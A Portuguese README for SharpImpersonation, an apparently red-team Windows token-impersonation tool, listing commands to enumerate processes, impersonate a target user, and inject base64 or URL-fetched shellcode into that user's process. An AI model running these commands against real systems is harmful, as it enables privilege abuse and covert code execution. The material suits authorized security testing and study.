SharpImpersonation

Este foi um projeto de aprendizado na prática da minha parte. Técnicas bem conhecidas são usadas para construir apenas mais uma ferramenta de impersonação com algumas melhorias em comparação a outras ferramentas públicas. A base de código foi retirada de:

• https://github.com/0xbadjuju/Tokenvator

Um post de blog para a introdução pode ser encontrado aqui:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Listar processos do usuário

PS > PS C:\temp> SharpImpersonation.exe list

Listar apenas processos elevados

PS > PS C:\temp> SharpImpersonation.exe list elevated

Personificar o primeiro processo do usuário alvo para iniciar um novo binário

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

Injetar shellcode codificado em base64 no primeiro processo do usuário alvo

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

Injetar shellcode carregado de um servidor web no primeiro processo do usuário alvo

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

Personificar o usuário alvo via ImpersonateLoggedOnuser para a sessão atual

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser